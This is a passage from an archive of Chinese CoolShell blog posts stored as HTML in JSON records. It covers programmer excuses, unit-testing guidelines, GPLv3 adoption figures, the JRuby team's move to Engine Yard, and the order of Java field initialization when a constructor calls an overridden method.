    "content": "<html><body><p> 下面是程序员日常工作当中惯用的解释，或是口头禅。我们可以从这一个侧面来看看的程序员的特征和性格，相信你我都说过很多这样的话。不要太认真哦，呵呵。</p>\n<ol>\n<li>在我这边的电脑上可以工作啊……</li>\n<li>我重来没有听过这样的事</li>\n<li>昨天还能正常工作呢</li>\n<li>好吧，这算一个BUG</li>\n<li>这怎么可能？</li>\n<li>这应该是机器或是环境的问题<br/>\n<span id=\"more-1174\"></span></li>\n<li>操作系统更新了吗？</li>\n<li>一定又是用户那边的错</li>\n<li>你的测试数据一定有问题</li>\n<li>我从来没有碰过那边的代码！</li>\n<li>是的，是的，我会准备完成</li>\n<li>一定是你搞错了</li>\n<li>哦，这正是我们开发的功能</li>\n<li>我就快准备好了</li>\n<li>\n<div dir=\"ltr\" id=\"result_box\" style=\"TEXT-ALIGN: left;\">当然，还需要做的就只剩修改这些小Bug了。</div>\n</li>\n<li>\n<div dir=\"ltr\" style=\"TEXT-ALIGN: left;\">我会马上做完的</div>\n</li>\n<li>最近太不顺了</li>\n<li>我不可能测试所有的case!</li>\n<li>那根本不可能做到</li>\n<li>我记得我已经改了这个bug了</li>\n<li>我做完了，只不过还没有测试过</li>\n<li>程序应该可以工作，只不过还没有测试过</li>\n<li>一定是有人改了我的代码</li>\n<li>你的机器上一定中了什么病毒或木马</li>\n<li>就算是程序有问题，那又怎么样？</li>\n</ol>\n<p>呵呵，是这样的吗？希望你能分享你所经历的程序员的解释。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1174.html\">程序员惯用的解释(Top 25)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-7-27 一些单元测试的Guideline.html",
    "content": "<html><body><p>Jimmy Bogard 曾经写过一篇文章： 《<a href=\"http://www.lostechies.com/blogs/jimmy_bogard/archive/2008/12/18/getting-value-out-of-your-unit-tests.aspx\">从单元测试中获益</a>》，这这篇文章中给出了下面三条规则：</p>\n<ol>\n<li>“<strong>测试名应该从用户的角度描述是什么和为什么</strong>” – 这样一来，程序员可以从名字就可以知道用户需要什么样的软件行为。</li>\n<li>“<strong>测试也是代码，同样也需要我们更多的爱</strong>” – 真实运行在生产环境下的代码不仅仅只是我们需要去关心和花心思的代码。对于单元测试中的代码同样也需要易读易维护，以及可重用的特性。“<em>我非常痛恨那些又长又复杂的测试代码，如果一个测试需要30行的单元测试代码，请把其放在一个方法中。一个长的测试步骤只会激怒程序员。如果你在正式的代码中都没有这么长的代码，那么为什么我们需要在测试代码中容忍这样的情形呢？</em>”</li>\n<li>“<strong>不要只用一种固定的模式或组织风格</strong>”<em> – </em>有些时候，对于一些特殊的测试案例，标准的类设计模式，或一个固有的测试装置可能并不能有效的工作。</li>\n</ol>\n<p><span id=\"more-1192\"></span></p>\n<p><a href=\"http://tech.groups.yahoo.com/group/testdrivendevelopment/message/31412\">Lior Friedman</a> 加上： “第0条 – 测试应该只测试单元其外部的行为，而不是内部的结构”。或者说，只测试对一个单元的期望，而不是这个单元的构成。</p>\n<p><a href=\"http://groups.google.com/group/nunit-discuss/msg/56c9d75647731502?hl=en\">Ravichandran Jv</a> 也加上了他的条例：</p>\n<ol>\n<li>一个测试一个断言（如果可能）。 </li>\n<li>如果在测试中有“if else” 的语句，请把if和else两个分支拆分成两个测试案例。 </li>\n<li>如果一个测试案例中也有if else 分枝，那么这个测试案例也需要被重构。</li>\n<li>测试案例的命名代表了这种测试的类型。例如：TestMakeReservation() 和TestMakeNoReservation()是不一样的类型。</li>\n</ol>\n<p><a href=\"http://groups.google.com/group/nunit-discuss/msg/fb335c19a8a44821?hl=en\">Charlie Poole</a>，NUnit的作者，重述了“一个测试一个断言”成“一个逻辑断言Logical Assert” – 他说， “有时候，因为我们测试API的表现不足，你需要写多个物理的Assert才能达到一个完整的结果。许多使用NUnit框架API进行单元测试的开发，很不可能只使用一个Assert就完成了一个测试”。</p>\n<p><a href=\"http://www.bryancook.net/2008/06/test-naming-conventions-guidelines.html\">Bryan Cook</a> 也提供了一个不错的可供考虑的列表：</p>\n<ol>\n<li>做到：对Fixture一致地命名</li>\n<li>做到：使用namespace</li>\n<li>做到：测试方法的命名和Setup/TearDown 一致</li>\n<li>考虑：分离你的测试和开发代码</li>\n<li>做到：测试的命令和被测试的功能一致</li>\n<li>考虑：使用”Cannot” 前缀命名期望的异常</li>\n</ol>\n<p>Bryan 有超过 <a href=\"http://www.bryancook.net/2008/06/test-naming-conventions-guidelines.html\">一打的建议</a>。</p>\n<p>最后，有些人建议大家读一下 Gerard Meszaros的书： “<a href=\"http://www.amazon.com/xUnit-Test-Patterns-Refactoring-Addison-Wesley/dp/0131495054/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1248380993&amp;sr=8-1\">xUnit Test Patterns: Refactoring Test Code</a>”</p>\n<p>文章：<a href=\"http://www.infoq.com/news/2009/07/Better-Unit-Tests\" target=\"_blank\">链接</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8593.html\"><img alt=\"如何测试洗牌程序\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8593.html\">如何测试洗牌程序</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8209.html\"><img alt=\"“单元测试要做多细？”\" height=\"150\" src=\"../wp-content/uploads/2012/09/fight-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8209.html\">“单元测试要做多细？”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3437.html\"><img alt=\"一些杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/12/ediff-small-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3437.html\">一些杂项资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3270.html\"><img alt=\"两本电子书\" height=\"150\" src=\"../wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3270.html\">两本电子书</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5160.html\"><img alt=\"PHP分页技术的代码和示例\" height=\"150\" src=\"../wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5160.html\">PHP分页技术的代码和示例</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/694.html\"><img alt=\"Guido认为程序员大多数工作不需要递归\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/694.html\">Guido认为程序员大多数工作不需要递归</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1192.html\">一些单元测试的Guideline</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-7-28 GPLv3的在开源社区中的占有量.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright\" height=\"140\" src=\"http://www.gnu.org/graphics/heckert_gnu.small.png\" width=\"145\"/>2007年7月，GPLv3 发布，当时有164个项目加入，一年后，有大约两千个项目使用GPLv3协议，今天，Google开源programs office manager <a href=\"http://sites.google.com/a/dibona.com/dibona-wiki/Home/Biographies-and-Photos\">Chris DiBona</a>向大家 <a href=\"http://twitter.com/dhohndel/status/2800839235\">宣布</a> 在Google 开源项目中，使用GPLv3的项目至少有 56,000个。当然，这只是计算了在 <a href=\"http://code.google.com/\">Google Code</a> 中的项目。</p>\n<p>对于今天有 225,000 项目的 Google Code，这四分之一的 GPLv3 也是一个不小的数目了。如果我们假设Sourceforge.net 和 Codehaus 也有和Google Code相似的 GPLv3 比率的话，那么，今天使用 GPLv3 的项目将是一个很大的数量。</p>\n<p><span id=\"more-1197\"></span></p>\n<p>这个数据是有意义的，尤其对于那些还在激活的项目，因为Google Code上的活跃的项目比Sourceforge要高得多，在Sourceforge上，估计只有12%的项目还处理激活状态（剩下的88%都是处理长期没有更新，当然也就一直在使用老版本的协议）。虽然和GPLv2比起，GPLv3还很少，但数量已经很大了。</p>\n<p>以前写过一篇关于GPLv3的文章《<a href=\"http://blog.csdn.net/haoel/archive/2007/07/17/1696333.aspx\">GPLv3：大教堂和集市的新一轮对抗</a>》，有兴趣的读者不妨一读。</p>\n<p>下面是开源license的一个比例（时间：2009年7月），仅供参考：</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/07/GPL.png\"><img alt=\"GPL\" height=\"259\" src=\"../wp-content/uploads/2009/07/GPL.png\" title=\"GPL\" width=\"456\"/></a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8460.html\"><img alt=\"Go 语言简介（上）— 语法\" height=\"150\" src=\"../wp-content/uploads/2012/11/go2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8460.html\">Go 语言简介（上）— 语法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19395.html\"><img alt=\"HTTP API 认证授权术\" height=\"150\" src=\"../wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19395.html\">HTTP API 认证授权术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17929.html\"><img alt=\"Go编程模式：修饰器\" height=\"150\" src=\"../wp-content/uploads/2017/06/go-hardhat-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3161.html\"><img alt=\"AES加密算法动画演示\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3161.html\">AES加密算法动画演示</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/556.html\"><img alt=\"VI的一些小技巧\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/556.html\">VI的一些小技巧</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1197.html\">GPLv3的在开源社区中的占有量</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-7-28 JRuby核心成员投奔Engine Yard.html",
    "content": "<html><body><p>新闻来源：<a href=\"http://www.computerworld.com/s/article/9135958/Sun_s_JRuby_team_jumps_ship_to_Engine_Yard?taxonomyId=57&amp;pageNumber=1\">Computer World</a></p>\n<p><img alt=\"\" class=\"alignright\" height=\"100\" src=\"http://media.xircles.codehaus.org/_projects/jruby/_logos/medium.png\" width=\"223\"/>Sun公司的JRuby团队正在离开他们的老东家Sun，投奔Engine Yard公司。他们声称这是因为Oracle并购Sun后的前途不明朗的原因。Sun的新闻发言人已确定了这一消息的真实性。</p>\n<p>在两年半前，Sun招募了Charles Nutter 和Thomas Enebo，这两人叫“the JRuby Guys”，他们主要实现在Java虚似机上运行Ruby，后来Sun又招了一个叫Nick Sieger的人。今天，这三个核心开发人员会在下周一的时候到新公司上班。他们认为Oracle可能会不支持他们继续在JVM上运行Ruby这个事情，而JRuby又是他们的未来。</p>\n<p><a href=\"http://www.engineyard.com/\">Engine Yard</a>。成立仅两年、总部设在旧金山的Engine Yard，主要业务是为使用开放原始码开发环境Ruby on Rails的开发者处理系统布署和作业等事项。该公司协助开发者透过所谓的云计算，或第三方数据中心，执行应用软件。Engine Yard曾经从New Enterprise Associates和Amazon.com两家公司募得投资1500万美元。该公司正在进行云计算平台上的Rails计划。</p>\n<p><span id=\"more-1194\"></span></p>\n<p>EngineYard公司的市场部副总裁Michael Mullany说，他们这所以招募了他们，是因为他们觉得JRuby的用户数量在增加，而他们公司并没有这方面的专业知识。并且，展示了JRuby在过去一年有40%的增涨态势。这个副总裁还说，JRuby的下一个阶段会是一个专业的开源的JRuby，但技术支持将是收费的。</p>\n<p>Nick Sieger在Sun公司是 <a href=\"http://kenai.com/\">Kenai</a> 项目的leader，他说下一代的JRuby将会允许开发人员以云的方式host他们的应用，就像SourceForge一样。</p>\n<p>JRuby 的第四个核心开发者 Ola Bini，自从去年被ThoughtWorks招募后，还在那里工作。</p>\n<p>Nutter说，JRuby的下一个版本是1.4，会在今年9月份发布，在这个版本，他们会让JRuby成为JVM上的一等公民，并让其成为JVM上最好的语言。当然，也会处理一些和Engine Yard相关的东西。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2631.html\"><img alt=\"五大基于JVM的脚本语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2631.html\">五大基于JVM的脚本语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5987.html\"><img alt=\"如何设计“找回用户帐号”功能\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5987.html\">如何设计“找回用户帐号”功能</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1178.html\"><img alt=\"Internet 技术演变图\" height=\"150\" src=\"../wp-content/uploads/2009/07/Internet-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1178.html\">Internet 技术演变图</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11175.html\"><img alt=\"Java中的CopyOnWrite容器\" height=\"150\" src=\"../wp-content/uploads/2014/03/cow-copy-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/780.html\"><img alt=\"如何知道某网站运行在GAE上\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/780.html\">如何知道某网站运行在GAE上</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1194.html\">JRuby核心成员投奔Engine Yard</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-7-3 Java构造时成员初始化的陷阱.html",
    "content": "<html><body><p>让我们先来看两个类：Base和Derived类。注意其中的whenAmISet成员变量，和方法preProcess()</p>\n<pre class=\"EnlighterJSRAW\">\npublic class Base\n{\n    Base() {\n        preProcess();\n    }\n\n    void preProcess() {}\n}</pre>\n<pre class=\"EnlighterJSRAW\">\npublic class Derived extends Base\n{\n    public String whenAmISet = \"set when declared\";\n\n    @Override void preProcess()\n    {\n        whenAmISet = \"set in preProcess()\";\n    }\n}\n</pre>\n<p>如果我们构造一个子类实例，那么，whenAmISet 的值会是什么呢？</p>\n<p><span id=\"more-1106\"></span></p>\n<pre class=\"EnlighterJSRAW\">\npublic class Main\n{\n    public static void main(String[] args)\n    {\n        Derived d = new Derived();\n        System.out.println( d.whenAmISet );\n    }\n}\n</pre>\n<p>再续继往下阅读之前，请先给自己一些时间想一下上面的这段程序的输出是什么？是的，这看起来的确相当简单，甚至不需要编译和运行上面的代码，我们也应该知道其答案，那么，你觉得你知道答案吗？你确定你的答案正确吗？</p>\n<p>很多人都会觉得那段程序的输出应该是“set in preProcess()”，这是因为当子类Derived 的构造函数被调用时，其会隐晦地调用其基类Base的构造函数（通过super()函数），于是基类Base的构造函数会调用preProcess() 函数，因为这个类的实例是Derived的，而且在子类Derived中对这个函数使用了override关键字，所以，实际上调用到的是：Derived.preProcess()，而这个方法设置了whenAmISet 成员变量的值为：“set in preProcess()”。</p>\n<p>当然，上面的结论是错误的。如果你编译并运行这个程序，你会发现，程序实际输出的是“set when declared ”。怎么为这样呢？难道是基类Base 的preProcess() 方法被调用啦？也不是！你可以在基类的preProcess中输出点什么看看，你会发现程序运行时，Base.preProcess()并没有被调用到（不然这对于Java所有的应用程序将会是一个极具灾难性的Bug）。</p>\n<p>虽然上面的结论是错误的，但推导过程是合理的，只是不完整，下面是整个运行的流程：</p>\n<ol>\n<li>进入Derived 构造函数。</li>\n<li>Derived 成员变量的内存被分配。</li>\n<li>Base 构造函数被隐含调用。</li>\n<li>Base 构造函数调用preProcess()。</li>\n<li>Derived 的preProcess 设置whenAmISet 值为 “set in preProcess()”。</li>\n<li>Derived 的成员变量初始化被调用。</li>\n<li>执行Derived 构造函数体。</li>\n</ol>\n<p>等一等，这怎么可能？在第6步，Derived 成员的初始化居然在 preProcess() 调用之后？是的，正是这样，我们不能让成员变量的声明和初始化变成一个原子操作，虽然在Java中我们可以把其写在一起，让其看上去像是声明和初始化一体。但这只是假象，<strong><span style=\"color: #800000;\">我们的错误就在于我们把Java中的声明和初始化看成了一体</span></strong>。<strong>在C++的世界中，C++并不支持成员变量在声明的时候进行初始化，其需要你在构造函数中显式的初始化其成员变量的值，看起来很土，但其实C++用心良苦。</strong></p>\n<p>在面向对象的世界中，因为程序以对象的形式出现，导致了我们对程序执行的顺序雾里看花。所以，<strong>在面向对象的世界中，程序执行的顺序相当的重要</strong>。</p>\n<p>下面是对上面各个步骤的逐条解释。</p>\n<ol>\n<li>进入构造函数。</li>\n<li>为成员变量分配内存。</li>\n<li>除非你显式地调用super()，否则Java 会在子类的构造函数最前面偷偷地插入super() 。</li>\n<li>调用父类构造函数。</li>\n<li>调用preProcess，因为被子类override，所以调用的是子类的。</li>\n<li>于是，初始化发生在了preProcess()之后。这是因为，Java需要保证父类的初始化早于子类的成员初始化，否则，在子类中使用父类的成员变量就会出现问题。</li>\n<li>正式执行子类的构造函数（当然这是一个空函数，虽然我们没有声明）。</li>\n</ol>\n<p>你可以查看《Java语言的规格说明书》中的 <a href=\"http://java.sun.com/docs/books/jls/third_edition/html/execution.html#12.5\">相关章节</a> 来了解更多的Java创建对象时的细节。</p>\n<p>C++的程序员应该都知道，在C++的世界中在“构造函数中调用虚函数”是不行的，Effective C++ 条款9：Never call virtual functions during construction or destruction，Scott Meyers已经解释得很详细了。</p>\n<p>在语言设计的时候，“<strong>在构造函数中调用虚函数</strong>”是个两难的问题。</p>\n<ol>\n<li>如果调用的是父类的函数的话，这个有点违反虚函数的定义。</li>\n<li>如果调用的是子类的函数的话，这可能产生问题的：因为在构造子类对象的时候，首先调用父类的构造函数，而这时候如果去调用子类的函数，由于子类还没有构造完成，子类的成员尚未初始化，这么做显然是不安全的。</li>\n</ol>\n<p>C++选择了第一种，而Java选择了第二种。</p>\n<ul>\n<li>C++类的设计相对比较简陋，通过虚函数表来实现，缺少类的元信息。</li>\n<li>而Java类的则显得比较完整，有super指针来导航到父类。</li>\n</ul>\n<p>最后，需要向大家推荐一本书，Joshua Bloch 和 Neal Gafter 写的 <a href=\"http://www.amazon.com/gp/product/032133678X?ie=UTF8&amp;tag=billthelizard-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=032133678X\">Java Puzzlers: Traps, Pitfalls, and Corner Cases</a>，中文版《<a href=\"http://www.china-pub.com/28310&amp;ref=ps\" target=\"_blank\"><span>JAVA</span>解惑</a>》。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11541.html\"><img alt=\"面向GC的Java编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11175.html\"><img alt=\"Java中的CopyOnWrite容器\" height=\"150\" src=\"../wp-content/uploads/2014/03/cow-copy-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9703.html\"><img alt=\"无锁HashMap的原理与实现\" height=\"150\" src=\"../wp-content/uploads/2013/05/图1-3-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1106.html\">Java构造时成员初始化的陷阱</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
